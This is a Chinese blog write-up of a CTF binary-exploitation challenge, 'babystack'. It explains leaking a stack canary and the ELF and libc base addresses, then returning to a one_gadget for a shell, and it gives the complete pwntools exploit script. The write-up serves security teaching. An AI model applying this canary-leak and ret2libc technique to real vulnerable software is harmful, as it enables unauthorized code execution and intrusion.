zoukankan      html  css  js  c++  java
  • baystack(ret2one_gadget)

    babystack

    首先检查一下保护

    image-20200513192841312

    全保护开启,我们IDA分析一下。

    image-20200513192903462

    main函数很简单,首先第一个read明显存在漏洞,如果不是以 结尾会存在栈中地址的泄漏。

    payload = 'A'*0x88+'A'   #这里多加一个A是因为canary的低字节为x00
    p.sendafter("What's your name: ",payload)
    p.recvuntil('A'*0x88)
    canary  = u64(p.recv(8))-ord('A')
    elf_base = u64(p.recv(6).ljust(8,'x00'))-0x910
    print 'canary: '+hex(canary)
    print 'elf_base: '+hex(elf_base)
    

    image-20200513193216643

    第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数

    pop_rdi_ret = 0x973
    main = elf_base+0x080A
    payload = 'A'*0x88 + p64(canary) + 'B'*8
    payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
    p.sendafter('to say: ',payload)
    p.recvline()
    puts = u64(p.recvuntil('
    ',drop=True).ljust(8,'x00'))
    libc_base = puts - libc.symbols['puts']
    print 'libc_base: '+hex(libc_base)
    

    接下来我们就可以ret2onegadget了。

    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./babystack')
    elf = ELF('./babystack')
    libc = ELF('./libc-2.27.so')
    
    
    #--------------------leak canary elf_base---------------#
    payload = 'A'*0x88+'A'
    p.sendafter("What's your name: ",payload)
    p.recvuntil('A'*0x88)
    canary  = u64(p.recv(8))-ord('A')
    elf_base = u64(p.recv(6).ljust(8,'x00'))-0x910
    print 'canary: '+hex(canary)
    print 'elf_base: '+hex(elf_base)
    #——----------------leak libc_base-----------------------------#
    pop_rdi_ret = 0x973
    main = elf_base+0x080A
    payload = 'A'*0x88 + p64(canary) + 'B'*8
    payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
    p.sendafter('to say: ',payload)
    p.recvline()
    puts = u64(p.recvuntil('
    ',drop=True).ljust(8,'x00'))
    libc_base = puts - libc.symbols['puts']
    print 'libc_base: '+hex(libc_base)
    #---------------ret2 one_gadget----------------------------------#
    one = [0x10a38c,0x4f322,0x4f2c5]
    p.sendafter("What's your name: ",'AAAA')
    payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
    p.sendafter('to say: ',payload)
    
    p.interactive()
    
  • 相关阅读:
    记一次生产数据库"意外"重启的经历
    我爬了链家青岛市北3000套二手房得出一个结论
    我用Python实现了一个小说网站雏形
    Linux下安装 Python3
    Lepus搭建企业级数据库慢查询分析平台
    Lepus搭建企业级数据库全方位监控系统
    shell浅谈之九子shell与进程处理
    shell中测试命变量是否已经定义
    getline数据来源你的三种方式
    awk中的system和getline的用法
  • 原文地址:https://www.cnblogs.com/Rookle/p/12884448.html
Copyright © 2011-2022 走看看